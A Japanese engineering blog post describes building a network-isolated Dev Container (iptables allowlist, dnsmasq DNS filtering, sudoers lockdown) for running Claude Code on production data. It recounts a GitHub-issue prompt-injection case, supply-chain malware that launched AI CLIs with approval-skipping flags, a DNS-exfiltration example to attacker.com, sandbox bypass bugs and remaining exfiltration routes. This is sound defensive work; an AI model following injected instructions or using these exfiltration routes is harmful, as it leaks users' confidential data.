ミツモア Tech blog

「ミツモア」を運営する株式会社ミツモアの技術ブログです

ネットワーク隔離したDev Containerを作り安全にClaude Codeを本番環境に繋げる

ミツモアでAI関連の開発を担当している増田(@xmasudahiroto)です。

Claude Codeをチームで本格的に使い始めると、いかにAIエージェントを自律的に動かしつつ、同時にセキュリティを担保するか、について考える必要が出てきます。ミツモアでも、Claude Codeの実行環境として、Anthropicが公式リポジトリで公開しているDev Containerの実装を参考に、ネットワーク隔離した環境を作成したので、それについて紹介したいと思います。

https://code.claude.com/docs/ja/devcontainer

この記事では、まずClaude Codeの運用でのセキュリティ面の問題点について整理したあと、次に隔離手段の選択肢を比較し、最後に実際に作成した隔離環境について、コードを交えて紹介します。そのうえで、この構成で防げるものと、防げずに残るリスクについても整理します。

Claude Codeの隔離環境の必要性

多くの組織は、以下のような原則のもと開発環境を整えています。

  • 環境をdev、staging、productionに分離する
  • 開発作業はdev環境、動作確認をstaging環境で行う
  • ローカルからproduction環境へ直接アクセスせず、隔離された環境を経由する
  • dev環境とstaging環境には機密情報を置かない

Claude Codeも開発を行うエージェントなので、素直に考えればdev環境かstaging環境の中で動かすことになります。この範囲で動かしている限り機密情報には触れないので、リスクは低く抑えられます。

ところが実際に使い込むと、この原則の外側にはみ出すユースケースが出てきます。インシデント調査や本番データマートを使った分析で、本番のログやデータを読ませる場合などです。この場合、「本番環境には一切触れない」という前提を維持できません。結果として、Claude Codeが動く環境に、機密性の高いデータや本番に近いトークンが同居する状態が生まれます。

一方で、セキュリティ面を考慮して環境を囲い込めば囲い込むほど、普段の開発での利用は難しくなっていきます。そのため、実際に行う作業(開発作業なのか、機密情報を扱う作業なのか)に応じて、Claude Codeの環境も使い分ける必要が生じます。

この記事では、インシデント調査や本番データマートを使った分析で、機密情報を扱うシーンを想定して、普段の開発よりもセキュアな隔離環境を用意して、安全に作業を行える環境を整えていきます

Claude Code利用による具体的なセキュリティリスク

Claude Codeの利用でどのようなセキュリティリスクがあるか、代表的なものを、実際に報告された事例と合わせて整理します。

プロンプトインジェクションによる情報漏洩

ログやデータベースを分析させる作業では、第三者が自由に書き込めるフィールド(レビューコメント、サポート問い合わせ、ユーザー投稿など)をエージェントが読み込みます。そこにAIエージェントに対する悪意ある指示を埋め込むことで、Claude Codeに攻撃者の意図した作業を実行させることができます。このような手法をプロンプトインジェクションと呼びます。最新のモデルは以前より耐性が高くなっていますが、確率的に応答するモデルである以上、モデル側で完全に防ぐ設計にはなりません。

具体例1. GitHubのパブリックリポジトリのIssueを介したプロンプトインジェクション

Invariant Labsは2025年5月、GitHub MCPサーバーを介した攻撃を公開しました。攻撃者はパブリックリポジトリのIssueに指示を仕込んでおきます。開発者が「オープンなIssueを見て」と依頼すると、エージェントはそのIssueを読んで指示に従い、同じトークンでアクセスできるプライベートリポジトリの内容を引き出して、パブリックなPull Requestとして公開してしまいます。

この例ではGitHubのIssueを使っていますが、同じ攻撃手法は、開発しているプロダクトのログやDBの値をエージェントに読ませる場面でも成立します。

https://invariantlabs.ai/blog/mcp-github-vulnerability

サプライチェーン攻撃

Claude Codeは開発中に自律的にコードを組み立て、依存関係をインストールし、スクリプトを実行します。Tool Callを追うと、シェルスクリプトやPython、Nodeのスクリプトを都度書いて動かしている場面が多くあります。その依存パッケージに情報送信の処理が仕込まれていれば、そのまま実行されます。

サプライチェーン攻撃自体はAIエージェント固有の問題ではありません。LLMが選ぶパッケージは広く使われているものが多く、常にリスクが高いわけでもありません。ただ、Claude Codeを使うとアドホックに書かれて実行されるコードの量が従来の開発と桁違いのため、踏む機会もそれに比例して増えます。

具体例2. Nxパッケージのサプライチェーン攻撃

2025年8月26日のNxのインシデント(通称s1ngularity)は、この危険がAIエージェント自体を巻き込む形で現れた例です。侵害されたNxパッケージのpostinstallフックは、ファイルシステムを走査して認証情報を集めたうえで、被害者のGitHubアカウントにs1ngularity-repositoryという名前のリポジトリを作り、そこへ結果をアップロードしました。特徴的なのは、収集のためにローカルにインストール済みのAI CLIを呼び出した点です。Claude Code、Gemini CLI、Amazon Qに対して、--dangerously-skip-permissions--yolo--trust-all-toolsといった承認を飛ばすフラグを付けて起動し、秘密情報の列挙をさせようとしました。

https://www.wiz.io/blog/s1ngularity-supply-chain-attack

具体例3. LiteLLMのサプライチェーン攻撃

2026年3月24日にLiteLLMのPyPIパッケージが侵害されました。攻撃グループTeamPCPが公開した1.82.7と1.82.8には、環境変数、SSH鍵、クラウド認証情報、Kubernetesの設定、CI/CDのシークレットを収集して暗号化し、攻撃者のドメインへ送信するペイロードが含まれていました。

https://securitylabs.datadoghq.com/articles/litellm-compromised-pypi-teampcp-supply-chain-campaign/

機密情報がログやローカル設定に残る

Claude Codeが読み取ったトークンは、セッションのトランスクリプトやローカルの設定ファイルに残ります。Claude Codeが.envを読んで認証情報を取得した場合、学習利用をオプトアウトしていれば読み込み自体が直接の流出にはなりませんが、機密情報が複数のファイルに散らばること自体がリスクになります。

Claude Codeのログはローカルファイルのほか、設定によっては外部のサービス(Langfuseなど)にも記録されるため、それらが流出した場合にインシデントにつながります。

具体例4. Google AdsのMCCアカウント乗っ取り

2026年3月、AIエージェントを導入した企業でGoogle AdsのMCCアカウントが乗っ取られ、8桁後半の被害が出たという報告がXで共有されました。Claude Codeのログを介してMCCの認証情報が外部に流出したことが原因と見られていますが、X上の情報であり、一次資料での確認は取れていません。

隔離手段の選択肢

ここまでのリスクに対して、Claude Codeの実行環境を整えることでできる対策は下記のようなものがあります。

コマンドを都度承認する

Claude Codeのツール実行に対して、都度ユーザーが承認と否認を選択するものです。Claude Codeが登場した当初は有効な手でしたが、現在のモデルはアドホックなスクリプトを大量に生成するので、人間がすべてに目を通すのは現実的ではありません。確認が形骸化した時点で防御としては機能しなくなるため、これ単体には頼れません。

auto modeを使う

実行しようとしているコマンドをLLMによる分類器が判定するモードです。

https://claude.com/blog/auto-mode-default-in-claude-code

2026年8月14日に、Claude Codeのデフォルトの承認モードがauto modeになりました。記事によると、人による承認と比べてauto modeの方が安全であり、かつプロンプトインジェクションのリスクもほぼない(独立機関による調査で一度も成功しなかった)とされています。

正規のパッケージに仕込まれた処理はコマンドとしては正常に見えるためサプライチェーン攻撃は依然としてリスクですが、これは人による開発でも同じ話になります。auto modeによる承認でも十分にセキュアに開発できる、というのがAnthropicの立場だと読めます。

Claude Code標準のBashサンドボックスを使う

Claude Codeにはサンドボックス機能が内蔵されています。macOSではSeatbelt、LinuxとWSL2ではbubblewrapを使い、ファイルシステムとネットワークのアクセス範囲をOSレベルで制限します。手軽に使えるとても良い機能ですが、いくつか注意点があります。

1. 適用範囲がBashコマンドに限られる

公式ドキュメントは「The sandbox isolates Bash subprocesses」と明記しており、ReadやEdit、WebFetchといったツールはサンドボックスではなく権限ルール側で制御されます。MCPサーバーもBashの子プロセスではないため、この境界の外側に出ます。

これはユースケース次第で評価が変わります。特定の外部通信だけを通したいときはMCPを意図的な抜け穴として使えますが、環境全体に一律の制限をかけたい場合には穴になります。

2. 実装の中身が外から見えない

このサンドボックスには、修正までに時間のかかった問題が2件報告されています。詳細に関しては下記の記事などをご参照ください。

  • CVE-2025-66479は、allowedDomainsに空配列を指定したときに「すべて許可」と解釈される設定意味論のバグです
  • もう1件はSOCKS5プロキシのホスト名検証をヌルバイトで抜ける問題で、GAから約5か月半にわたって残り、リリースノートへの記載なく修正されました

参考: https://oddguan.com/blog/second-time-same-sandbox-anthropic-claude-code-network-allowlist-bypass-data-exfiltration/

3. ファイルのRead/Write制限を細かく詰めるのが難しい

ファイルシステムに制限をかけすぎると、開発に必要なパッケージのインストールや、開発用のクラウド環境への認証情報の読み込みで問題が出ます。また、ホストと同じファイルシステム上で動くため、開発環境と本番環境の分離をファイル単位や環境変数単位で作り込むことになります。

プロセス単位で隔離する

Anthropicはsrt(Anthropic Sandbox Runtime)を単体のOSSとしても公開しています。macOSではsandbox-exec、Linuxではbubblewrapを使い、コンテナを使わずに任意のプロセスへファイルシステムとネットワークの制限をかけるツールです。Claude Codeのプロセス自体をこれでラップする使い方ができます。

https://github.com/anthropic-experimental/sandbox-runtime

npx @anthropic-ai/sandbox-runtime claude

制御はできますが、内蔵のサンドボックスよりさらに許可範囲の設計に手間がかかります。ネットワークとファイルの許可を絞りすぎると、Claude Code自身のサブスクリプション認証やパッケージインストール、クラウド環境の利用が動かなくなります。

開発用コンテナ単位で隔離する

ホストとは別のコンテナを開発環境として用意し、コンテナ単位でネットワークを制限します。ホストとファイルシステムが分かれるのでパス単位の制限に神経を使わずに済み、認証情報もホスト側と分けて管理できます。Dockerfileで組み立てるため、カスタマイズの自由度も高くなります。

一方で、他の手法と比較して、開発環境の構築コストが高くなります。リポジトリごとに開発用のDockerfileを整備する必要があり、コンテナを動かし続ける分のマシンリソースも要ります。

隔離されたDev Container環境の実装

今回は、インシデント調査や本番データマートをClaude Codeで安全に扱う環境として、開発用コンテナを作成することにしました。Claude Code標準のサンドボックス機能でも近いことはできそうでしたが、次の理由からコンテナ隔離を選んでいます。

  1. サンドボックス機能は実装の中身が見えず、仕様の検証が難しい
  2. Claude Codeに依存するので、別のコーディングエージェントへ適用できない
  3. 目的に応じて制限の内容を柔軟に変えられる
  4. ファイルシステムを丸ごと分離でき、環境の破棄と再構築も容易
  5. GitHub Codespacesなど、他のシステムとの連携が容易

Anthropicは公式リポジトリでDev Containerの参考実装を公開しており、公式ドキュメントからも参照されています。今回はこの実装をもとに、よりセキュアになるように実装を追加して作成しました。

https://github.com/anthropics/claude-code/tree/main/.devcontainer

ファイル構成

.devcontainer/claude/
  devcontainer.json        # コンテナ定義。volume 構成もここ
  Dockerfile               # ベースイメージ、pnpm、Claude Code、iptables、dnsmasq
  init-firewall.sh         # ファイアウォールの適用。許可ドメイン一覧もこの中
  unlock-firewall.sh       # 一時解除。ホストからのみ実行できる
  create-workspace.sh      # 初回作成時のクローンと依存のインストール
  check-firewall.sh        # 許可と拒否が期待どおりかの確認
scripts/safe-container.sh  # ホストから devcontainer CLI と docker exec を叩くラッパー

4つのシェルスクリプトはDocker imageのビルド時に/usr/local/binへコピーされます。いずれもAIエージェントが書き換えて実行できないように、コンテナ内のユーザー権限を設定します。

全体の構成は次のようになっています。

flowchart LR
  subgraph host["ホスト"]
    hrepo[".git"]
  end
  subgraph container["Dev Container"]
    agent["Claude Code<br/>(node ユーザー)"]
    seed["/seed/.git<br/>読み取り専用"]
    work["/work/repo<br/>named volume"]
    dns["dnsmasq<br/>許可ドメイン以外は REFUSED"]
    ips[("ipset<br/>allowed-domains")]
    fw["iptables OUTPUT<br/>デフォルト REJECT"]
  end
  subgraph outside["コンテナの外"]
    resolver["上流リゾルバ<br/>1.1.1.1 / 8.8.8.8"]
    allowed["許可ドメイン<br/>anthropic.com / claude.ai / 社内システム"]
  end
  hrepo -->|"bind mount, readonly"| seed
  seed -->|"初回のみ git clone"| work
  agent --> work
  agent -->|"名前解決"| dns
  agent -->|"アウトバウンド通信"| fw
  dns -->|"解決したIPを登録"| ips
  ips -.->|"照合"| fw
  dns -->|"許可ドメインのみ転送"| resolver
  fw -->|"ipset にある宛先のみ"| allowed

アウトバウンドを許可リスト方式にする

コンテナ起動後のフックとして、ファイアウォール設定スクリプトを実行します。

// .devcontainer/claude/devcontainer.json
"postStartCommand": "sudo /usr/local/bin/init-firewall.sh",
"waitFor": "postStartCommand"

スクリプトの中心は、iptablesのOUTPUTチェーンをデフォルト拒否にしたうえで、ipsetに登録したアドレスにだけ通信を許可する構成です。

# .devcontainer/claude/init-firewall.sh
# Set default policies to DROP first
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

# First allow established connections for already approved traffic
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Then allow only specific outbound traffic to allowed domains
iptables -A OUTPUT -m set --match-set allowed-domains dst -j ACCEPT

# Explicitly REJECT all other outbound traffic for immediate feedback
iptables -A OUTPUT -j REJECT --reject-with icmp-admin-prohibited

制御はLinuxカーネルのレイヤで行われます。Claude Codeの実装がどのツールを使ってどこへ接続しようとしても、コンテナから出ていくパケットは同じルールを通ります。

ここまでは公式実装とほぼ同じですが、公式の実装と比較して、以下の点で変更を加えています。

許可ドメインを必要最低限に削る

公式実装の許可リストには、GitHub(api.github.com/metaから取得したIPレンジ全体)、registry.npmjs.orgsentry.iostatsig.com、VS Code関連のドメインなどを許可していますが、今回の実装ではさらに削減しています。

ALLOWED_DOMAINS=(
    "anthropic.com"
    "claude.ai"
    "<社内システム>"
)

anthropic.com, claude.ai はClaude Code自体の利用に必要になります。<社内システム>は本番のデータへのアクセスに必要になります。

GitHubへの通信を許可すると、攻撃者のリポジトリや、パブリックリポジトリ、GitHub Pagesを介して、データ漏洩の攻撃が可能になってしまいます。開発環境ではなく、本番のログやデータを分析するセキュアな隔離環境を作るのが目的のため、除外しました。その他のドメインも同様の理由です。

共有CDN上のドメインは許可リストに入れない

iptablesはIPアドレスでのアクセス制限になるので、CloudflareなどCDNのIPアドレスを許可すると、攻撃者がそのサービスを使ってサーバーを建てたときに、接続ができてしまいます。

IPアドレス追加前にチェックすること、社内システムのIPを追加するときはCDNではなく他社と共有しないIPを使うことが必要になります。

egress proxyを立てればIPアドレスでの制限という制約自体をなくせますが、構成がさらに複雑になるので今回はやめました。

dnsmasqを立て、DNSも許可リストにする

公式実装はUDP 53を全宛先に開けていますが、これだとDNS Exfiltration(dig <機密データ>.attacker.com としてデータを漏洩させる攻撃)のリスクが発生します。

そこでコンテナ内にdnsmasqを立てて、/etc/resolv.confをそこへ向けます。dnsmasqの設定ファイルはinit-firewall.shALLOWED_DOMAINSから生成します。

# .devcontainer/claude/init-firewall.sh
DNS_UPSTREAM=("1.1.1.1" "8.8.8.8")

{
    echo "user=dnsmasq"
    echo "listen-address=127.0.0.1"
    echo "bind-interfaces"
    # /etc/resolv.conf はこの dnsmasq 自身を指すので、上流として読ませない
    echo "no-resolv"
    for domain in "${ALLOWED_DOMAINS[@]}"; do
        for upstream in "${DNS_UPSTREAM[@]}"; do
            echo "server=/$domain/$upstream"
        done
        echo "ipset=/$domain/allowed-domains"
    done
} > /etc/dnsmasq-sandbox.conf

生成されるのはこの内容です。

user=dnsmasq
listen-address=127.0.0.1
bind-interfaces
no-resolv
server=/anthropic.com/1.1.1.1
server=/anthropic.com/8.8.8.8
ipset=/anthropic.com/allowed-domains
server=/claude.ai/1.1.1.1
server=/claude.ai/8.8.8.8
ipset=/claude.ai/allowed-domains
server=/<社内システム>/1.1.1.1
server=/<社内システム>/8.8.8.8
ipset=/<社内システム>/allowed-domains

server=/<ドメイン>/<上流>は、このサフィックスに一致する名前だけをこの上流へ転送する、という指定です。no-resolvでデフォルトの転送先を持たせていないので、どのserver=にも一致しない名前には転送先が存在せず、dnsmasqはREFUSEDを返します。上流を2つ書いているのは、片方が落ちても名前解決が止まらないようにするためです。

ipset=が2つ目の役割です。dnsmasqが解決したAレコードをそのままallowed-domainsに追加し、iptablesでのフィルタリングに適用されます。公式実装は起動時にdigで引いたIPを焼き込む方式なので、ALBが起動後にIPを入れ替えると通らなくなりますが、この方式なら次の名前解決で追従します。

dnsmasqは専用ユーザーで起動し、iptables側でそのユーザーだけ53番に出られるように制限します。

# .devcontainer/claude/init-firewall.sh
for upstream in "${DNS_UPSTREAM[@]}"; do
    iptables -A OUTPUT -p udp --dport 53 -d "$upstream" \
        -m owner --uid-owner "$DNSMASQ_USER" -j ACCEPT
    iptables -A OUTPUT -p tcp --dport 53 -d "$upstream" \
        -m owner --uid-owner "$DNSMASQ_USER" -j ACCEPT
done

TCP 22, IPv6を塞ぐ

公式では開発にSSHなど利用できるようにTCP 22を開けていましたが、今回の用途では不要なので、その行を削除してOUTPUTのデフォルト拒否に任せています。あわせてIPv6も塞ぎました。

# .devcontainer/claude/init-firewall.sh
# IPv6はコンテナで使わないので全て塞ぐ
ip6tables -P INPUT DROP
ip6tables -P FORWARD DROP
ip6tables -P OUTPUT DROP
ip6tables -F
ip6tables -X
ip6tables -A INPUT -i lo -j ACCEPT
ip6tables -A OUTPUT -o lo -j ACCEPT
ip6tables -A OUTPUT -j REJECT --reject-with adm-prohibited

非rootユーザーとsudoersでスクリプトを守る

コンテナ内では非rootユーザーnodeでClaude Codeを動かします。スクリプトはrootが所有し、nodeにはsudo経由でこのファイルだけをパスワードなしで実行する権限を与えます。

# .devcontainer/claude/Dockerfile
COPY .devcontainer/claude/init-firewall.sh .devcontainer/claude/unlock-firewall.sh \
     .devcontainer/claude/create-workspace.sh .devcontainer/claude/check-firewall.sh \
     /usr/local/bin/
RUN chmod +x /usr/local/bin/init-firewall.sh /usr/local/bin/create-workspace.sh \
    /usr/local/bin/check-firewall.sh \
  && chmod 0700 /usr/local/bin/unlock-firewall.sh \
  && printf '%s\n' \
    "node ALL=(root) NOPASSWD: /usr/local/bin/init-firewall.sh" \
    > /etc/sudoers.d/claude-sandbox \
  && chmod 0440 /etc/sudoers.d/claude-sandbox
USER node

sudoersで許可しているのは/usr/local/bin/init-firewall.shの実行だけです。nodeはこのファイルに書き込めないので、スクリプトを書き換えてから実行して制限を外すことも、iptablesを直接叩いてルールを消すこともできません。実行できるのは、このファイルに書かれたとおりのルールを適用することだけです。

NET_ADMINNET_RAWを付与する

init-firewall.shの実行に必要なネットワーク関係の権限をDockerコンテナに明示的に与えます。devcontainer.jsonrunArgsで2つ追加します。

"runArgs": [
  "--cap-add=NET_ADMIN",
  "--cap-add=NET_RAW"
]

ホストのファイルシステムを共有しない

ファイルシステムを共有すると、プロンプトインジェクションが成立したときに攻撃用のコードがホスト側に残り、ホストで通常の作業をしているときに実行される可能性があります。そこでbind mountは使わず、named volumeにコードベースのクローンを作る形にしました。

"workspaceMount": "source=claude-sandbox-work,target=/work,type=volume",
"workspaceFolder": "/work/repo",

"mounts": [
  // read-only。create-workspace.sh が一度だけ読む
  "source=${localWorkspaceFolder}/.git,target=/seed/.git,type=bind,readonly",
  "source=claude-sandbox-claude-config-${devcontainerId},target=/home/node/.claude,type=volume",
  "source=claude-sandbox-config-${devcontainerId},target=/home/node/.config,type=volume"
],

// ファイアウォールが上がる前に走るので、この時点ではネットワークが開いている
"onCreateCommand": "/usr/local/bin/create-workspace.sh",

ホストからmountしているのは.gitだけで、しかもread-onlyです。onCreateCommandのスクリプトがここから一度だけクローンして、workspace volumeを埋めます。

git clone --no-hardlinks /seed/.git /work/repo

ホストの作業ツリー自体はコンテナから見えません。クローンはホストのHEADに従うので、ホストでチェックアウトしていたブランチで始まりますが、未コミットの変更は持っていきません。副次的な効果として、コミットしていないファイル(.envなど)がコンテナに入らないので、機密情報の持ち込みも起きなくなります。

分離以外の利点もあります。

  • node_modulesがホストと共有されません。macOS用とLinux用でバイナリが違うので、bind mountだと動かなくなります。
  • macOSのbind mountはVirtioFS経由でファイル操作ごとにコストがかかるので、それを避けられます。

一時解除

ユーザーが明示的にファイアウォールを開ける機能を入れています。実行するとiptablesの設定を更新し、DNSを上流リゾルバに向け直します。

iptables -I OUTPUT 1 -j ACCEPT
iptables -I INPUT 1 -m state --state ESTABLISHED,RELATED -j ACCEPT

...
echo 'nameserver 1.1.1.1' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'options timeout:1 attempts:2 single-request' >> /etc/resolv.conf

解除スクリプトの実行手段はホスト側からdocker exec -u rootとします。コンテナ内のnodeユーザーから実行することはできません。

lockし忘れを防ぐため、一定時間経ったら再度lockするようにしています。再度lockするのは init-firewall.sh を再実行するだけです。

nohup /bin/bash -c "
    sleep $SECONDS_OPEN
    if ! /usr/local/bin/init-firewall.sh; then
        echo 'ERROR: re-lock failed, dropping all traffic'
        iptables -F
        iptables -P INPUT DROP
        iptables -P FORWARD DROP
        iptables -P OUTPUT DROP
    fi
" >> "$LOG_FILE" 2>&1 < /dev/null &

開けている間はコンテナ全体が無制限になります。

ファイアウォールが上がっていることを確認する

正しくネットワークの設定ができているか確認する check-firewall.sh を作成し、コンテナ作成後や設定変更後に実行することでネットワーク制限が意図した通りに追加できているか確認します。下記のような結果が出力され確認できるようになっています。

$ pnpm run safe-container check
OK   blocked: https://example.com
OK   blocked: https://api.github.com
OK   reachable: https://api.anthropic.com
...

この構成で防げること

ここまでの構成が、前半に挙げたリスクに対して何をするのかを整理します。

プロンプトインジェクションによる情報漏洩

攻撃が成立してClaude Codeが攻撃者の指示どおりに動いたとしても、送り先が残りません。持ち出せる宛先はanthropic.com, claude.ai と社内システムだけになります。ファイルシステムもホストと分離されているので、読み書きできる範囲はコンテナ内のコードに限られます。

サプライチェーン攻撃

侵害されたパッケージが認証情報を集めても、同じく送り先がありません。s1ngularityが使った「GitHubにリポジトリを作ってアップロードする」経路はGitHubが許可リストに無いので通らず、LiteLLMの例の「攻撃者のドメインへ送信する」も同様です。

機密情報がログやローカル設定に残る

Claude Codeの設定と履歴はコンテナ内のvolumeに入り、ホスト側とは分かれます。

残るリスク

一方で、この構成でも塞げていないものがあります。いずれも、プロンプトインジェクションや侵害されたパッケージによって、もし仮にコンテナ内で攻撃者のコードが動いた場合に問題になるものです。

AnthropicのAPI自体が持ち出し経路になる

api.anthropic.comは許可リストに入っているので、攻撃者のAPIキーを載せたリクエストを投げる経路が残ります。たとえば攻撃者アカウントのFiles APIへアップロードすれば、理論上はデータを持ち出せます。

初回の依存インストールはファイアウォールの外で走る

pnpm installはコンテナ作成時、ファイアウォールが上がる前に実行されます。ロックファイルに侵害されたパッケージが入っていれば、そのpostinstallフックはネットワーク制限なしで動きます。

一時解除している間は何も塞げていない

手動のunlock機能を入れているので、その間にエージェントが外に出る可能性は0ではありません。

まとめ

Claude Codeに本番のログやデータを扱わせる場面では、承認フローやモデル側の耐性だけでは足りず、実行環境そのものをセキュアに限定する必要が出てきます。今回はAnthropicの公式Dev Containerをベースに、隔離コンテナを作成する例を紹介しました。プロンプトインジェクションが成立しても、ネットワークとファイルシステム単位の隔離があるので、攻撃に対するリスクを最小限にしています。

一方で、そのままではGitHubと接続できない、パッケージのインストールもできないなど、通常の開発には耐えられない環境になっています。普段の開発をこの環境で行う必要はなく、扱う情報の機密性に応じて環境を使い分けるのが現実的です。開発環境と本番環境を徹底的に分けるなど、従来から使われているベストプラクティスと組み合わせることで、生産性を落とさずセキュアな開発環境を構築していく必要があります。

ミツモアで一緒に働きませんか?

ミツモアでは、生成AIを活用して圧倒的な生産性を生み出し、日本のGDPを向上させるという目標に向けて、一緒に働く仲間を募集しています。

AIエージェントを活用した開発効率化や、プロダクトへのAI組み込みなど、様々な領域で生成AIの活用が進んでいます。

一緒にスタートアップで生成AIアプリケーションの開発をしてみませんか?少しでも興味をお持ちの方は、カジュアル面談からでも大歓迎です。ぜひお気軽にご応募ください!

https://corp.meetsmore.com/